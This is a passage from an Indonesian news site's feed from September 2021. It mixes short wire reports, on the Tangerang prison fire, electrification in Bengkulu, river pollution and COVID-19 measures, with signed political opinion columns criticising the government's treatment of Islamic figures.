dikatakan "tidak dipilih", oleh Ormas Islam lainnya. Maka dakwah yang diusung Habib Rizieq seolah berhadap-hadapan dengan penguasa, dan itu dianggap sebagai dakwah politik. Maka "rumus" M. Natsir bisa menggambarkan itu semua, "Islam berpolitik akan dicabut seakar-akarnya". Karenanya, pembubaran FPI itu langkah "mencabut seakar-akarnya" jadi kenyataan. Dan lalu figur sentralnya, Habib Rizieq Shihab, harus dipenjarakan dengan tidak sewajarnya. Dicari-carilah kesalahan yang bisa dicari, bahkan saat tidak ketemu yang dicari itu pun tetap dikenakan tuntutan yang diputus pengadilan meski tanpa bisa dibuktikan di pengadilan. Akrobat hukum dilakukan, dan itu dengan segala cara, seolah membenarkan akan "rumus" M. Natsir. Pilihan Penuh Risiko Rumus M. Natsir di atas, itu muncul bisa jadi hasil dari apa yang dialaminya. Dimana ia merasakan dipenjarakan rezim Soekarno (Orde Lama), dan oleh rezim Orde Baru memang tidak sampai dipenjarakan, tapi seluruh aktivitasnya dicekal. Maka "rumus" itu tanpa ia sadari muncul di benaknya. Dakwah nahi munkar pastilah dakwah penuh risiko. Para ulama masa lalu dan yang datang belakangan yang memilih dakwah model ini, juga jadi korban "dicabut seakar-akarnya" lewat berbagai cara. Dipenjarakan atau dicekal juga dengan berbagai tuduhan absurd yang dipaksakan. Dakwah nahi munkar yang menyasar penguasa tidak mesti muncul, jika penguasa berlaku adil, dan hukum jadi panglima. Bukan hukum yang ditekuk oleh kekuasaan politik yang digdaya. Pilihan Habib Rizieq Shihab dan para da'i yang memilih dakwah nahi munkar, pastilah pilihan penuh risiko, dan itu hal yang ia sadari. Ia terpanggil melihat fenomena yang ada, dan karenanya suka atau tidak ia suarakan kebenaran meski di tengah suasana tidak kondusif. Maka risiko yang ia terima adalah penjara, tanpa ia mendapat keadilan semestinya. Rumus M. Natsir itu berlaku sepanjang masa, dan jadi rumus yang tidak disuka penguasa zalim. Karena pada rumus itulah kekuasaannya bisa dinilai dijalankan dengan cara apa. Jika kekuasaan dijalankan dengan keadilan dan persamaan yang sama di depan hukum, maka rumus M. Natsir tadi setidaknya hanyalah wacana. Apakah saat ini rumus M. Natsir berlaku, dengan cara apa kekuasaan itu dijalankan, maka kasus Habib Rizieq Shihab jadi jawabannya... Wallahu a'lam. (*) *) Kolumnis

PLN Sebut Rasio Elektrifikasi di Bengkulu Capai 99,93 Persen

Jakarta, FNN - PT PLN (Persero) menyebutkan angka rasio elektrifikasi di Bengkulu telah mencapai 99,93 persen yang diharapkan mampu mendorong pertumbuhan ekonomi dan mendongkrak kesejahteraan masyarakat di wilayah tersebut. Direktur Bisnis Regional Sumatera dan Kalimantan PLN Ikbal Nur mengatakan pihaknya berkomitmen akan menerangi seluruh desa di Bengkulu hingga 100 persen pada 2022. "Kami berharap jaringan listrik yang telah dibangun dapat dijaga dengan baik," kata Ikbal dalam keterangannya di Jakarta, Kamis. Pada 7 September 2021, PLN telah mengalirkan listrik ke Desa Langgar Jaya, Kepahiang, Bengkulu, yang memiliki 400 kepala keluarga. Perseroan membangun jaringan tegangan menengah sepanjang 10,2 kilometer sirkuit (kms), jaringan tegangan rendah 4,2 kms, dan empat gardu distribusi dengan total investasi Rp2,12 miliar. Selain menyambungkan listrik ke Desa Langgar Jaya, PLN juga menyerahkan bantuan berupa Alat Penyalur Daya Listrik (APDAL) bagi warga Desa Lebong Tandai, Kabupaten Bengkulu Utara. Alat itu akan meningkatkan kualitas listrik warga Lebong Tandai yang sebelumnya hanya memanfaatkan listrik sebagai penerangan dari Lampu Tenaga Surya Hemat Energi (LTSHE). Ikbal menjelaskan bahwa APDAL di Lebong Tandai menyediakan daya listrik bagi rumah yang tidak bisa dijangkau jaringan listrik karena berada di dataran tinggi yang masih diselimuti hutan. Pengisian daya listrik dilakukan melalui Stasiun Pengisian Energi Listrik (SPEL) yang dibangun dengan memanfaatkan energi baru terbarukan lokal bertenaga air yang bersumber dari Sungai Lusang. Program PLN Peduli senilai Rp380 juta direalisasikan dalam bentuk perbaikan dan penambahan unit pembangkit listrik tenaga air berkapasitas 4x15 kilowatt yang mampu menyuplai tenaga listrik untuk 150 rumah. Sebanyak 30 unit APDAL berdaya masing-masing 500 watt diberikan kepada warga yang rumahnya tidak terjangkau jaringan listrik dari pembangkit listrik tersebut. PLN juga memberikan bantuan penambahan dan perbaikan dua unit Motor Lori Ekspress (Molek) yang menjadi sarana transportasi masyarakat Desa Lebong Tandai menuju Desa Air Tenang di Kecamatan Napal Putih. Gurbernur Bengkulu Rohidin Mersyah menyampaikan pembangunan jaringan listrik dan program PLN Peduli, serta didukung komitmen pemerintah daerah dalam meningkatkan prasarana jalan akan menggerakkan ekonomi masyarakat. Menurutnya, sinergitas antara institusi, perusahaan, dan masyarakat akan menciptakan suasana harmonis serta kondusif yang dapat meningkatkan kehidupan sosial dan ekonomi di Bengkulu. (mth)

BPOM: Produk Kesehatan Sedang Hadapi Persaingan Ketat Pasar Global

Jakarta, FNN - Kepala Badan Pengawas Obat dan Makanan (BPOM) RI Penny K Lukito mengemukakan produk kesehatan di pasar global tengah menghadapi persaingan ketat. "Kegiatan ekspor dari produk dalam negeri tentunya perlu kita apresiasi mengingat persaingan di pasar global juga semakin ketat, khususnya untuk produk kesehatan di masa pandemi ini," kata Penny K Lukito saat hadir secara virtual meresmikan ekspansi ekspor-impor produk konsentrat minuman sehat probiotik Pro EM-1 yang diselenggarakan di Malang, Jawa Timur, Kamis. Penny mengatakan pandemi COVID-19 telah mengedukasi seluruh bangsa bahwa hanya dengan masyarakat yang sehat, ekonomi dan roda kehidupan dapat bergerak sehingga kesejahteraan masyarakat bisa tercapai. Salah satu indikator pencapaian yang dapat diukur adalah penyerapan tenaga kerja serta produksi manufaktur hingga bisa menghasilkan produk ekspor ke sejumlah negara-negara tujuan. "Presiden RI selalu mengingatkan bahwa salah satu kunci dari perbaikan ekonomi adalah perbaikan kinerja ekspor nasional," katanya. Penny mengemukakan sejumlah persyaratan utama dalam persaingan produk di pasar global, yaitu produk harus memenuhi standar mutu yang berkualitas dan berdaya saing, berstandar internasional, dan dibuat di fasilitas produksi yang juga memenuhi cara-cara pembuatan produk yang baik. BPOM berkomitmen memberikan dukungan berupa pendampingan teknis pada pelaku usaha, terutama keberpihakan pemerintah untuk pengembangan Usaha Mikro Kecil dan Menengah (UMKM) yang merupakan usaha terbesar dalam sektor obat dan makanan. "Agar sebuah produk dapat bersaing di pasar global, diperlukan strategi penetrasi untuk bisa sampai ke negara tujuan ekspor. Termasuk dalam upaya pemenuhan peraturan yang berlaku di negara tujuan ekspor," katanya. Untuk itu, kata Penny, BPOM menyediakan suatu layanan konsultasi ekspor terkait dengan informasi peraturan di negara-negara tujuan ekspor yang didukung oleh data-data intelijen pasar dari kantor perwakilan RI di berbagai negara yang dapat dimanfaatkan. Penny mengapresiasi capaian PT Agro Mitra Elimentare (AMA) selaku produsen minuman sehat probiotik Pro EM-1 dalam pengembangan usaha hingga mencapai taraf ekspor produk menuju China. "Saya mengapresiasi dan ikut bangga dengan ekspor perdana produk suplemen kesehatan Pro EM1 ke China oleh PT AMA. Saya kira tidak mudah untuk menembus pasar, khususnya China," katanya. Penny menambahkan ekspor suplemen produk biotik ini adalah bentuk kemitraan antara pemerintah dan pelaku usaha dalam mengembangkan daya saing usaha sehingga nama Indonesia bisa terangkat di tatanan pasar global. (mth)

Ganjar Sebut Pencemaran Sungai Bengawan Solo Sudah Keterlaluan

Semarang, FNN - Gubernur Jawa Tengah Ganjar Pranowo menyebut terjadinya kembali pencemaran aliran Sungai Bengawan Solo akibat limbah industri pengolahan ciu sudah keterlaluan sehingga perlu dilakukan tindakan tegas. "Menurut saya ini sudah kebangetan karena tidak hanya area di Blora, di Solo juga kena. Jadi sebenarnya ini yang hari ini coba kita cari," katanya di Semarang, Kamis. Ganjar mengungkapkan modus pencemaran Sungai Bengawan Solo kali ini juga masih sama dengan kasus sebelumnya yaitu membuang kotoran atau limbah pengolahan alkohol di sekitar Blora. Pemprov Jateng, lanjut Ganjar, sudah berkoordinasi dengan kepolisian untuk melakukan tindakan tegas terkait kasus tersebut karena pihak yang membuang limbah pengolahan ciu tersebut dinilai sudah menantang pemerintah, terlebih dalam kasus sebelumnya sudah diberikan teguran keras. "Sudah dicek, langsung rapat virtual tadi dengan Kementerian LHK. Tentu saja tim lokal sudah turun, tim nasional juga turun, nanti kita akan proses, kita akan cari," tegasnya. Sebagai informasi, tim khusus dari Pemprov Jateng sudah diturunkan untuk melakukan pengecekan dan observasi terkait air Sungai Bengawan Solo yang berwarna keruh. Observasi itu dilakukan setelah Perusahaan Air Minum Daerah (PDAM) Solo menghentikan pengolahan air di Pos Semanggi, Pasar Kliwon, Solo, karena air sungai terindikasi tercemar limbah ciu, tepatnya pada hari Selasa (7/9) pagi. Adapun kasus pencemaran limbah ciu di aliran Sungai Bengawan Solo juga sempat terjadi pada 2019 lalu dan saat itu diketahui bahwa pencemaran bersumber dari limbah industri pengolahan ciu di sekitar hulu sungai. (mth)

DPPU Pattimura Latih Warga Diversifikasi Produk Bank Sampah Organik

Ambon, FNN - PT Pertamina Depo Pengisian Pesawat Udara (DPPU) Pattimura melatih masyarakat setempat untuk mengolah produk bank sampah organik menjadi barang yang bernilai. "Pelatihan inovasi dan diversifikasi produk bank sampah organik ini diberikan kepada penerima manfaat program Corporate Social Responsibility (CSR) PT Pertamina DPPU Pattimura di Desa Laha, Kota Ambon," kata Operation Head Pertamina DPPU Pattimura, Tengku Nazwar di Ambon, Kamis. Ia mengatakan pelatihan berupa eco-enzyme hasil dari fermentasi limbah dapur organik, seperti ampas buah dan sayuran, gula (gula coklat, gula merah atau gula tebu), dan air. Eco-enzyme dapat memberikan dampak luas bagi lingkungan, kesehatan, hingga ekonomi, serta dapat mengurangi dampak limbah makanan, mengurangi penggunaan bahan kimia, dan mempromosikan gaya hidup berkelanjutan. Data Dinas Lingkungan Hidup dan Persampahan (DLHP) Kota Ambon per Agustus 2021, tercatat volume sampah di masa pandemi COVID-19 mencapai 175 ton per hari. Dari total volume sampah tersebut, 60 persen penyumbangnya adalah sampah rumah tangga termasuk sampah organik. Pelatihan ini bertujuan agar peserta tidak lagi membuang sampah organik, melainkan mengolahnya menjadi sesuatu yang bernilai terutama dalam mendukung kebutuhan rumah tangga. "Pendekatan dimulai sekitar lingkungan kerja, membantu masyarakat sekitar untuk bisa menjalankan program yang mereka tekuni, kita bantu untuk pengembangannya," katanya. PT Pertamina DPPU Pattimura telah melakukan pendampingan bagi kelompok penerima manfaat program CSR Pertamina sejak 2019. Melalui pendampingan diharapkan pengetahuan peserta dapat meningkat dan dapat dimanfaatkan secara mandiri demi kelangsungan hidup sehari-hari di masa mendatang. Direktur Bank Sampah Bumi Lestari, Sarti Wally mengatakan pendampingan Pertamina DPPU Pattimura ini mampu memperbarui dan meningkatkan kapasitas para penerima manfaat. "Selain pelatihan, bantuan berupa dana dan peralatan juga sangat mendukung keberlangsungan bank sampahBumi Lestari," katanya. (mth)

Pengacara Tersangka Perusuh Capitol AS Minta Alihkan Tempat Sidang

Washington, FNN - Seorang pengacara untuk seorang pria yang dikaitkan dengan kelompok Oath Keepers (organisasi sayap kanan jauh) yang anti pemerintah pada Rabu meminta hakim untuk mempertimbangkan memindahkan kemungkinan persidangannya atas tuduhan keterlibatan dalam kerusuhan Capitol AS dari Washington karena dia yakin juri di kota itu bias politik. Pengacara David Fischer mewakili mantan perwira intelijen Angkatan Laut Thomas Caldwell, 65, dari Berryville, Virginia, yang termasuk di antara sekitar 600 terdakwa yang diadili dalam serangan 6 Januari di Capitol ketika Kongres bertemu untuk mengesahkan kemenangan Joe Biden dalam pemilihan November atas Presiden Donald Trump saat itu. Sebelumnya pada 6 Januari, Trump telah memberikan pidato berapi-api kepada para pendukung yang mengklaim kekalahannya adalah hasil penipuan. "Ada begitu banyak prasangka terhadap para terdakwa ini, itu di luar rencana," kata Fischer kepada Hakim Distrik Amit Mehta, mengacu pada Washington D.C. Ditanya oleh Mehta bagaimana dia tahu itu, Fischer mengatakan Washington "sangat anti Donald Trump." Mehta tidak segera memutuskan permintaan tempat Fischer. Pada bulan Februari Caldwell mengaku tidak bersalah untuk beberapa tuduhan, termasuk merencanakan dengan orang lain untuk mengganggu proses di Kongres. Pengacara Caldwell telah membantah pernyataan jaksa bahwa kliennya adalah anggota Oath Keppers atau bahwa dia memiliki ikatan kuat dengan milisi itu. Juga pada Rabu, Mark Connell, seorang pengacara untuk Mark Leffingwell, yang menghadapi tuduhan kejahatan terkait kerusuhan, mengatakan kepada Hakim Distrik AS Amy Berman Jackson bahwa pengacara pembela dan penuntutan "perlu menyelesaikan beberapa rincian" dari kemungkinan kesepakatan tawar-menawar pembelaan untuk Leffingwell. Leffingwell, dari Seattle, adalah salah satu orang pertama yang ditangkap atas tuduhan terkait kerusuhan. Dalam sebuah pernyataan, seorang perwira polisi Capitol AS yang tidak disebutkan namanya mengatakan Leffingwell "meninju saya berulang kali dengan kepalan tangan tertutup. Saya dipukul di helm yang saya kenakan dan di dada." (mth)

Kapuas Mendapat Pembangunan 62 Menara Telekomunikasi dari Pusat

Kuala Kapuas, FNN - Pemerintah Kabupaten Kapuas, Kalimantan Tengah, pada 2021 akan menerima bantuan dari Pemerintah Pusat berupa pembangunan 62 menara telekomunikasi atau Base Transceiver Station (BTS). "Tahun ini dari 38 usulan, dan alhamdulillah kita mendapatkan bantuan pembangunan 62 menara BTS untuk Kabupaten Kapuas," kata Kepala Dinas Komunikasi dan Informatika (Diskominfo) Kabupaten Kapuas Junaidi di Kuala Kapuas, Kamis. Lokasi pembangunan menara BTS tersebut nantinya diprioritaskan pada daerah di Kabupaten Kapuas yang masih berada blank spot atau belum ada jaringan komunikasi. Daerah tersebut diantaranya Kecamatan Timpah, Pasak Talawang, Mandau Talawang, Kapuas Tengah dan Kapuas Hulu. Dikatakannya, ada beberapa hal mendasar yang harus disiapkan agar pembangunan dapat dilakukan tanpa ada kendala. Seperti kesiapan lokasi tanah atau lahan, jaringan listrik dan lain sebagainya. "Penting sekali disiapkan fasilitas tanah atau lahan sudah hibah, dan sangat krusial lagi jaringan listrik," katanya. Dia menambahkan, kalau jaringan PLN belum masuk atau belum ada, maka akan dilakukan swadaya masyarakat dalam kesiapan jaringan listriknya. Terkait progresnya, kata Junaidi, pihaknya sudah melakukan survei di daerah prioritas dibangun. Banyak lokasi pembangunan BTS di beberapa kecamatan yang akan dibangun, diantarnya di Kecamatan Pasak Talawang ada sebanyak 10 titik, Timpah enam titik, Mantangai 11 titik, Kapuas Tengah tujuh titik, Mandau Talawang 10 titik, Kapuas Murung satu titik, Dadahup tiga titik dan Kapuas Hulu 14 titik. "Perlu disadari 62 menara BTS dibangun, dan agar dapat semua terealisasi, diperlukan adanya kerja sama desa dan masyarakat sekitar untuk mempersiapkan lahan serta jaringan listriknya," jelasnya. Dengan dibangunnya menara BTS nantinya, diharapkan dapat berguna dan bermanfaat bagi masyarakat yang berada blank spot atau belum ada jaringan komunikasi selama ini, khususnya di wilayah pelosok desa di daerah setempat. "Kami berharap kemajuan teknologi akan membawa dampak positif yang besar bagi masyarakat, tidak terkecuali dalam menunjang aktivitas ekonomi masyarakat," kata Junaidi. (mth)

Setelah Taliban Kini Guinea Bikin Pusing

By M Rizal Fadillah REZIM paranoid selalu pusing pada peristiwa yang diduga berhubungan dengan kekuasaan dirinya. Meskipun peristiwa itu terjadi di luar negeri. Setelah ramai mewaspadai pengaruh kemenangan Taliban atas Amerika dengan isu ikutan radikalisme, ektrimisme dan terorisme maka kudeta militer di Guinea adalah goncangan berikut. Masalahnya kudeta tersebut terjadi pasca keterpilihan Presiden hasil amandemen konstitusi untuk perpanjangan jabatan tiga periode. Amandemen memperpanjang jabatan ini persis dengan yang ramai diwacanakan di Indonesia, bahkan ada tim kampanye Jokowi segala untuk jabatan 3 periode melalui Pilpres 2024 yang menyandingkan Jokowi dengan Prabowo. Amandemen PPHN diprediksi akan menjadi pintu masuk bagi amandemen masa jabatan. Kudeta Guinea menggulingkan Presiden Alpha Conde dipimpin Letkol Mamady Doumbouya. Rakyat menyambut gembira karena muak atas kepemimpinan Conde. Oposisi dan ratusan pemprotes ditahan. Kini Alpha Conde yang justru ditahan ditempat tersembunyi. Tahanan politik mulai dibebaskan di antaranya Oumar Sylla yang melakukan mogok makan Desember 2020. Presiden yang baru saja sukses mengamandemen Konstitusi dan memenangkan Pemilu untuk jabatan tiga periode itu kini menghadapi tuntutan serius soal merajalela korupsi, pelanggaran HAM, dan salah urus negeri. Menaikkan tarif dan pajak juga menjadi kecaman. Conde yang awalnya terpilih secara demokratis setelah berkuasa mengalami sindroma salah urus, korup dan ingin terus berkuasa. Taliban masih menjadi bulan-bulanan tembakan politik. Setelah BIN mengungkap melakukan penyusupan agen ke Taliban yang ralatnya 'hanya ngobrol' saja, kini ada pengamat intelijen Stanislaus Riyanta menyatakan bahwa perlu kewaspadaan pada eforia dukungan Taliban. Pengamat intelijen lain Susaningtyas Nefo menyebut keberadaan madrasah yang berkiblat pada Taliban dan pelajaran bahasa Arab sebagai ciri dari terorisme. MUI menganggap pengamat ini sebagai penyesat. Pengamatan dangkal, hasil pemikiran dengkul, dan berangkat dari rasa dongkol yang membabi buta menyerang umat Islam adalah fakta keberadaan komunitas Islamophobia akut. Entah berdiri sendiri atau pesanan. Selalu mengaitkan terorisme dengan segmen atau elemen keumatan. Aneh semakin masif saja serangan keji yang hidup di rezim ini, baik yang dilakukan oleh buzzer, politisi, pengamat, aparat ataupun pejabat. Kekuasaan yang runtuh adalah pelajaran yang menggentarkan. Keserakahan selalu menyebabkan kemarahan. Arogansi merupakan musuh dari keadilan dan kebenaran. Penjajahan asing dan boneka domestik yang dikalahkan oleh Taliban mengejutkan. Kudeta tentara Guinea atas Kepala Negara yang ingin terus berkuasa menakutkan. Adakah esok muncul di negeri lain cerita gerakan rakyat yang merasa tertindas dan terus dibohongi oleh Presiden nya mampu menumbangkan kekuasaan yang dinilainya zalim, korup, melanggar HAM dan selalu merasa benar atas segala kebijakannya? Sejarah banyak menuturkan kisah yang sarat pelajaran namun diabaikan. *) Pemerhati Politik dan Kebangsaan.

Keluarga Harap Kepulangan Jenazah Korban Kebakaran Lapas Tidak Dipersulit

Tangerang, FNN - Keluarga Muhamad Yusuf yang merupakan salah satu narapidana korban kebakaran di Lembaga Permasyarakatan (LP) Kelas I Tangerang, Banten, berharap proses pemulangan jenazah ke Bogor, Jawa Barat, tidak dipersulit. Karlina yang merupakan kakak kandung korban (Muhamad Yusuf) mengatakan, RSUD Tangerang maupun kepolisian yang menangani agar tidak mempersulit pemulangan jenazah. "Harapannya agar jenazah adik saya tidak dipersulit dalam pengambilannya, supaya bisa langsung dibawa pulang ke Bogor," tutur Karlina, di Tangerang, Rabu, 8 September 2021. Ia mengetahui adiknya masuk dalam 41 orang yang meninggal dalam insiden kebakaran itu usai menerima informasi dari pihak Lapas Kelas I Tangerang. "Awalnya dapat informasi itu tadi subuh, ada yang kirim video, terus ada yang telefon dari lapas. Saya langsung ke sini (RSUD Tangerang)," ujarnya, sebagaimana dikutip dari Antara. Ia meyakini adiknya menjadi korban kebakaran dan meninggal karena ada di dalam Ruang Blok C2 yang menjadi pusat terjadinya kebakaran. "Kebetulan saya tahu, adik saya M Yusuf berada di Blok C2 itu," tuturnya. Sebelumnya, sebanyak 41 narapidana tewas dalam insiden kebakaran yang terjadi di Blok C2 Lapas Kelas I Tangerang, Banten, pada Rabu (8/9) dini hari, sekitar pukul 01.45 WIB. Kemudian dari informasi yang didapat bahwa penyebab kebakaran tersebut diduga akibat korsleting listrik atau arus pendek listrik. Saat in seluruh jenazah korban kebakaran sudah dibawa petugas kepolisian ke RS Polri Kramat Jati, Jakarta Timur untuk dilakukan identifikasi. (MD).

Anies Tegaskan Holywings Tidak Boleh Beroperasi Hingga Pandemi Selesai

Jakarta, FNN - Gubernur DKI Jakarta Anies Baswedan menegaskan Holywings Kemang, Jakarta Selatan, tidak boleh beroperasi hingga pandemi Covid-19 selesai. Pengelola tempat hiburan tersebut dinilai mengkhianati upaya penerapan protokol kesehatan saat Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Level Tiga di Ibu Kota. "Kita tidak akan membiarkan yang seperti ini untuk melenggar tanpa kena sanksi yang berat. Tidak boleh beroperasi, titik. Sampai pandemi selesai karena telah menunjukkan tidak punya sikap tanggung jawab," kata Anies Baswedan di Balai Kota Jakarta, Rabu, 8 September 2021. ​​ Menurut dia, pelanggaran tersebut tidak hanya sekedar menerobos aturan. Akan tetapi, juga dinilai mengkhianati upaya jutaan orang yang berpartisipasi menjaga protokol kesehatan. "Ini mengkhianati usaha jutaan orang selama berbulan-bulan. Jadi Holywings dan semacamnya, dia telah mengkhianati jutaan orang yang bekerja setengah mati, di rumah, terus kemudian tempat itu (Holywings) difasilitasi. Itu betul-betul merendahkan usaha semua orang," Anies menegaskan, sebagaimana dikutip dari Antara. Anies sedang membahas sanksi tidak hanya diterapkan kepada pengelola usaha, tetapi juga pengunjung dengan memanfaatkan kecanggihan teknologi. "Ke depan yang nanti akan kena sanksi bukan saja pengelolanya. Tetapi mereka yang berada di tempat itu akan diblok, sehingga tidak bisa pergi dan mendatangi tempat mana pun juga selama batas waktu tertentu," ujar Anies. Harapannya, lanjut dia, para pelanggar tersebut dapat berdiam di rumah karena tidak bisa bepergian ke sejumlah lokasi yang memerlukan tanda masuk menggunakan aplikasi. "Sanksinya apa? Ya di rumah saja, belajar disiplin jangan pergi-pergi," ucapnya. Sebelumnya, petugas Satuan Polisi Pamong Praja menindak Holywings Kemang, Jakarta Selatan karena melanggar protokol kesehatan PPKM Level 3. Petugas Satpol PP membekukan sementara operasional Holywings Kemang selama PPKM berlangsung di Ibu Kota. Kepala Satpol PP DKI Jakarta, Arifin berharap pembekuan sementara tersebut dapat menjadi pembelajaran bagi pihak lain supaya tetap mematuhi prokes secara ketat. "Ini pembelajaran kepada pihak-pihak lain. Jangan kemudian melakukan pelanggaran protokol kesehatan karena akan menimbulkan dampak yang luas khususnya menyangkut keselamatan nyawa setiap orang," tutur Arifin. Selain pembekuan izin, pihak pengelola juga dikenakan denda sebesar Rp 50 juta, yang telah dibayarkan langsung oleh pengelola. (MD).

Keluarga Narapidana Korban Tewas Kebakaran Dapat Santunan Rp 30 Juta

Jakarta, FNN - Menteri Hukum dan Hak Asasi Manusia (Menkumham), Yasonna Laoly menjanjikan uang santunan senilai Rp 30 juta kepada masing-masing keluarga narapidana yang menjadi korban kebakaran Lembaga Pemasyarakatan (Lapas) Kelas I Tangerang, Banten. "Sebagai bagian perwujudan duka, kami akan memberikan santunan senilai Rp 30 juta kepada masing-masing keluarga korban," kata Menkumham Yasonna Laoly di Jakarta, Rabu, 8 September 2021. Selain santunan, Yasonna juga menginstruksikan jajarannya untuk membantu pemulasaraan jenazah sampai selesai. Kemenkumham juga telah membentuk lima tim untuk menangani kejadian tersebut, salah satunya membantu pemulasaraan, pemakaman, dan pengantaran jenazah. "Kami akan membantu pemulasaraan jenazah sampai selesai. Tentu proses ini akan berlangsung setelah identifikasi korban yang dilakukan Inafis Mabes Polri selesai," kata Yasonna, sebagaimana dikutip dari Antara. Khusus untuk warga binaan yang menderita luka, semuanya sudah ditangani di rumah sakit dan mendapat pengobatan sebaik mungkin. Setelah meninjau lokasi kejadian, Yasonna menginstruksikan jajaran agar melakukan semua hal yang terbaik demi mengurangi penderitaan akibat peristiwa kebakaran tersebut. "Atas nama jajaran Kementerian Hukum dan HAM, khususnya Direktorat Jenderal Pemasyarakatan, saya meminta maaf kepada keluarga korban dan masyarakat Indonesia," katanya. Berita sebelumnya menginformasikan bahwa kebakaran yang terjadi di Lapas Kelas I Tangerang mengakibatkan 41 orang meninggal dunia. Dugaan sementara kebakaran tersebut terjadi akibat hubungan arus pendek listrik. (MD).

Pemerintah Bersiap Hadapi Lonjakan Kasus COVID-19 untuk Desember

Jakarta, FNN - Pemerintah menyatakan tengah bersiap menghadapi lonjakan kasus COVID-19 untuk bulan Desember 2021, di mana terdapat dua hari libur, yakni Natal dan Tahun Baru. "Kita harus bersiap pada bulan Desember menghadapi Natal dan Tahun Baru. Kemarin menyebabkan lonjakan kasus, dan harus kita antisipasi," kata Juru Bicara Vaksinasi COVID-19 Kemenkes dr Siti Nadia Tarmizi dalam webinar "Vaksinasi COVID-19 Kini dan Nanti" yang dipantau di Jakarta, Rabu. Nadia menyebut dari diagram yang dipaparkannya, total kasus konfirmasi positif COVID-19 terkini yakni 4,1 juta orang. Namun angka peningkatan kasus mulai menurun sejalan pemberlakuan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM). Menilik ke belakang pada bulan Juli, kata dia, kasus COVID-19 meningkat 6-8 kali lipat dari bulan-bulan sebelumnya. Ia mengatakan hal tersebut menyebabkan gelombang kedua kasus positif COVID-19 dengan kenaikan angka yang sangat tinggi dan menular akibat mutasi virus. Karena itu, kata dia, saat ini pemerintah berupaya untuk mengantisipasi agar di bulan Desember nanti tidak terjadi gelombang COVID-19 seperti bulan Juli lalu. Terlebih baru-baru ini ditemukan mutasi COVID-19 jenis Mu. "Kemungkinan tingginya kasus bisa sama seperti Juli, atau meningkat karena mutasi virus baru," katanya menegaskan. Oleh karenanya, pemerintah memperluas cakupan vaksinasi COVID-19 dengan penambahan target anak remaja usia 12-17 tahun sebanyak 26 juta orang. Total sasaran vaksinasi yang semula 181,5 jura menjadi 208 juta penduduk. Guna mencapai kekebalan kelompok atau "herd immunity", cakupan vaksinasi minimal 70 persen penduduk Indonesia, atau sekitar 188,5 juta, demikian Siti Nadia Tarmizi. (mth)

Mahfud MD Wacanakan Bangun LP Pakai Tanah Aset BLBI

Tangerang, FNN - Menteri Koordinator bidang Politik, Hukum, dan HAM, Mahfud MD, mengaku telah berkoordinasi dengan Kementerian Hukum dan HAM untuk segera membangun lembaga pemasyarakatan baru di atas tanah hasil sita aset perusahaan yang tersandung kasus Bantuan Likuiditas Bank Indonesia. Sudah bukan rahasia lagi bahwa banyak penjara yang kelebihan penghuni dalam bilangan sangat tinggi. "Saya sudah bicara dengan Kementerian Keuangan. Tanah-tanah dari BLBI yang telah kami kuasai itu bisa digunakan. Dari pada tidak dirampas dari debitur yang melakukan pembangkangan. Itu tinggal sulit. Jadi tinggal kami cari anggarannya saja," kata dia, dalam keterangan pers tentang kebakaran yang membakar 41 narapidana di dalam sel mereka di LP Tangerang, Rabu. Ia mengatakan kasus kebakaran di LP Tangerang yang menewaskan 41 narapidana di dalam sel mereka yang dikunci --termasuk seorang narapidana WN Portugal dan seorang WN Afrika Selatan-- mereka bersama Kementerian Hukum dan HAM untuk lebih fokus dalam membangun gedung LP baru. Hal ini dilakukan sebagai perbaikan dalam penanganan terkait kapasitas di lembaga pemasyarakatan. Sebab sejak dia menjabat sebagai anggota DPR pada 2004 lalu dan keliling ke setiap LP di Indonesia banyak yang kelebihan penghuni, misalnya satu sel diisi hingga 30 orang. "Kita harus membangun LP (baru dari) yang sekarang kondisinya kelebihan. Beberapa kendala yang selama ini seperti pertimbangan anggaran dan lain-lain akan kita atasi melihat kondisi sekarang," ujarnya. Menteri Hukum dan HAM, Yasonna Laoly, mengatakan, jumlah narapidana yang ditampung dalam LP sudah melebihi batas normal sehingga perlu membangun LP-LP baru. "Kondisi LP saat ini sudah kelebihan daya tampung dan kami akan membangun LP baru secara bertahap dalam mengatasi ini. Ini program yang sudah kami siapkan," ujarnya. Kebakaran hebat yang melanda Blok C LP Tangerang pada dini hari pukul 01.45 WIB menewaskan 41 warga binaan di dalam sel mereka yang dikunci, dan delapan orang lainnya dirawat akibat kebakaran. Api baru berhasil dipadamkan petugas sekitar pukul 03.15 WIB. Diketahui Blok Chandiri Nengga 2 diisi 122 narapidana. (mth)

Siswa Jakarta Merasa Bersemangat Ikuti Pembelajaran Tatap Muka

Jakarta, FNN - Wakil Presiden, Ma’ruf Amin mengatakan, siswa sejumlah sekolah di Darah Khusus Ibu Kota Jakarta merasa bersemangat dan gembira mengikuti pembelajaran tatap muka (PTM) terbatas. Wapres Ma’ruf mengemukakan hal itu usia meninjau pelaksanaan PTM di SD Tarakanita 5 Rawamangun, SMAK Penabur Kelapa Gading, dan SMKN 19 Jakarta, Rabu, 8 September 2021. Dalam kunjungan tersebut, Wapres antara lain didampingi Gubernur DKI Jakarta, Anies Baswedan. "Yang saya lihat, kesan saya, dari segi siswa itu ada gairah, ada semangat. Ya, mudah-mudahan bisa walaupun masih bergilir atau shift dengan protokol kesehatan yang ketat," kata Wapres di SMKN 19 Jakarta, sebagaimana dikutip dari Antara. Wapres mengatakan, anak-anak pelajar merasa gembira sekali karena dapat mengikuti kegiatan belajar mengajar secara langsung di sekolah. Sejak pandemi Covid-19 melanda Indonesia, seluruh kegiatan belajar mengajar di sekolah diganti menjadi pembelajaran jarak jauh (PJJ). "Anak-anak itu gembira sekali karena pertama bisa belajar langsung. Kemudian kendala internet, yang biasanya ditemui saat daring, itu tidak ada lagi karena sekarang (belajar) langsung," katanya. Selain itu, kata Ma’ruf Amin, dari segi psikologis anak-anak juga merasa lebih senang menjalani PTM karena dapat bertemu langsung dengan teman-teman mereka di sekolah. "Jadi, bagi siswa kelihatannya juga semuanya itu menginginkan pembelajaran tatap muka dan belajarnya jadi lebih optimal," katanya. Wapres meminta sekolah yang sudah menyelenggarakan PTM untuk melakukan evaluasi setiap pekan. Terutama terkait dengan penerapan protokol kesehatan demi keamanan setiap siswa. "Mengingat ancaman Covid-19 sampai saat ini belum berakhir, saya minta semua warga sekolah tetap berhati-hati dan waspada dengan tetap disiplin melaksanakan protokol kesehatan," ucapnya. (MD).

Anggota DPR Minta Penyelidikan Pascakebakaran Lapas Tangerang

